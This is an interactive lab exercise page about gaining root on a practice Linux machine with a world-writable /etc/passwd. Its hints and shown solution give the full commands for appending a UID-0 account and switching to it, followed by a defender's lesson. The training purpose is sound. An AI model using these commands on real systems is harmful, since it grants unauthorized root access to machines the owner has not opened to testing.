Root through writable /etc/passwd
/etc/passwd is world-writable on this box. Use that to make yourself root.
Create a password hash, append a new account with UID 0 to /etc/passwd, switch to it with su, and read the flag at /root/root.txt.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Hints
`ls -l /etc/passwd` shows it is writable by everyone.
Append `evil:$(openssl passwd -1 pass123):0:0::/root:/bin/bash` then `su evil` with password pass123.
Solution explanation
/etc/passwd was world-writable, so you appended a line for a new account whose UID is 0. Linux treats any UID-0 account as root — the name is irrelevant — so su evil dropped you into a root shell and the flag was yours. The lesson for defenders is blunt: a writable account database is game over, which is why /etc/passwd must never be writable by anyone but root.
Show solution
cd /home/student
ls -l /etc/passwd
echo "evil:$(openssl passwd -1 pass123):0:0::/root:/bin/bash" >> /etc/passwd
su evil
cat /root/root.txt
exit